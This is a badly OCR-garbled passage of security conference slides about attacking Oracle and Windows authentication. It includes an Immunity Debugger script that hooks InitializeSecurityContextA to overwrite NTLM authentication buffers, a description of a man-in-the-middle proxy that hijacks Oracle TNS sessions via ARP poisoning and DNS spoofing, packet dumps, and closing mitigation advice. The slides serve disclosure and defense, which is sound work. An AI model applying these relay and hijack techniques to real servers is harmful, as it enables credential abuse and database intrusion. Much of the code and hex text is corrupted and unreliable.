@3FBEA41 B5 B2 CE OE 90 B8 Sl . .% PA1757EC APAAPEAA .... | ArgS = POAPEARA
@IFBEE49 54 OF 45 A8 53 88 T . B.S.T. BA1757CA B3FBE238 8&Jw | Arg? = P3FB8238
@3FBEES1 B2 BP 98 94 54 B8 ©.0.T.E. BA1757C4 BA3FB824C LéJw | Argl® = B3IFB824C
@3FBEEL9 53 OA 54 @ 91 68 S.T.G. 1. AA1757C8 @A1L7SFDA U 3. | Argll = BA17SFDA
G3FBEPG] 57 GF 49 AA 4E 88 W.I.N.2. BE1757CC  B@1L75C2C .~1. | Argl2 = @@175C2C
@3FBEPLS 4B 9@ 32 9@ 4D 68 K.3.M.B. B@1757D8 OBEEBERE . ... LArgl3l = GDPOO0PE

AA1Y5YD4d rPHA1Y6HEN o 3.




def main(}:

i imm = immlib.Debugger)
user=imm._inputBox("Username™)
imm.addKnovledge{"Username', user)
imm.Log{"Username: "+user)
bp_address=imm.setBreakpointOnHame{"InitializeSecurityContextA™)
imm.addKnovledge("%88x" % bp_address, "isc_address™)
logbp_hook = MyOwnHook()
logbp_hook.add({"bp on_isc",bp_ address)
imm._Log{"'Placed isc hook: bp_on_isc™)

' i "

def initrethook({rethook,regs):
imm=immlib .Debugger{)
f#ile place a bp on the return address to change the out buffer of isc
bp_ address=imm.readlLong{reqs["ESP'"])
rethook.add{"hook_on_ret",bp_address)
imm.Log{"'Flace hook on the return address of ISC: "+hex(bp_address))
return

inm.getKnovledge{"%88x" % reqgs["EIP"] )} *= "isc_address™:
imm.Log{"After isct")
pOutput=imm.getKnowledge ("pOutput™)
imm.Log{"pOutout: "+hex{pOutput))
pSecbuf=imm.readLong{pOutput+8)
cbBuffer=imm.readlLong{pSecbuf)
imm.Log{"out cbBuffer: %s" Zhex{chBuffer))
puvBuffer=imm.readlLong{pSecbuf+8)
imm.Log{"out puBuffer: %s" % hex{puBuffer})
printmem{pvBuffer ,cbBuffer)
type3 binary=imm.getKnowledge (" type3™)
imm.writeHemory{pvBuffer,typed binary)
printmem{puvBuffer ,cbBuffer)
return

FIe
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We convince the cliént to conneot-to th-e pytnsproxy
(MITM, ARP cache poisoning, DNS spoof)

During the connection we keep track of the sequence
numbers

When the clients quit, we do not send the quit bytes to
the server. The proxy starts another TCP server thread

The attacker can connect to this TCP server. The same
version and driver (oci, thin) should be used. The proxy
simulates the authentication

After the authentication the proxy updates the sequence
numbers
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* In case of 10¢g .and 11g we s-hould create
the AUTH SVR RESPONSE

* Because of this, in case of 10g the
username and password should be fixed
values, in case of 11g-the password
should be a fixed value during the
authentication simulation
(proxytest/proxytest)
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- Transparent Network Substrate Protocol
Packet Length: 13
Packet Checksum:
Packet Type: Data (6)
Reserved Byte: 00
Header Checksum:

00 45 00
9 cO a8
12 50 18

0000 00 15 60 9f 57 d4 00 1c 25 9a a7

0010 00 35 ef bc 40 00 80 06 86 b9 cO
0020 01 03 Ob b0 05 f1 d1 15 aa 0Oc 1a
0030 fc af b7 be 00 00 00 Od 00 00 06
0040 [ENIEEE

ol
(i w-a e alal]

1

Textitem (), 5§ bytes Packets: 52 Displayed: 52 Marked: 0 Profile: Default




= Transparent Network Substrate Protocol
Packet Length: 180
Packet Checksum: 0x000(
Packet Type: Data (6)
Reserved Byte: 00
Header Checksum: 0x0000

¥ Data Flag: 0x0000
= Data (170 bytes)

0000 00 15 60 9f 57 d4

0010 00 dc ef b0 40 00

0020 03 0Ob b0 05 f1 ¢
0030 5 \ 00 00

0040
0050
00e0
0070
0080
0090
00a0
00b0
00c0
00d0
00e0

0& 00 45 00

N el
0 S0 )

a8 f0 S
00 00

bC 2= Ud DU D0 U0 ba U0 DU 0o DO OO 00 WRIE - . [P, ....

Text item J, 172 bytes ets: 52 Displaved: 52 Marked: 0 Profile: Default

9 c0 N N
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Protection

L4
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The complete solution should be to encrypt the communication
between the client and the server

— Oracle Advanced Security

— Alternative solutions

* SSH (http://www.dbspecialists.com/files
/presentations/net8  security.html)

* stunnel (http://www.stunnel.org/examples/oracle.html)
The difficulty level of the attacks can be raised
— Strong password-policy
— Disable the weaker protocols (Windows, Oracle)
* Imcompatibilitylevel
« SQLNET.ALLOWED LOGON_VERSION
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Summary

The default settih-gs could pro'vide possibilities
for an attacker against the Oracle authentication

Protection can be achieved by following some
basic principles

The Squirtle module is a good example on how
easy It is to exploit a weakness with
programmatic debugging

The problems of Windows authentication show
that securing our infrastructure is always a
multilayer and complex task



www.soonerorlater.hu

www.oxid.it
code.google.com/p/squirtle/
davenport.sourceforge.net/ntim.html

—




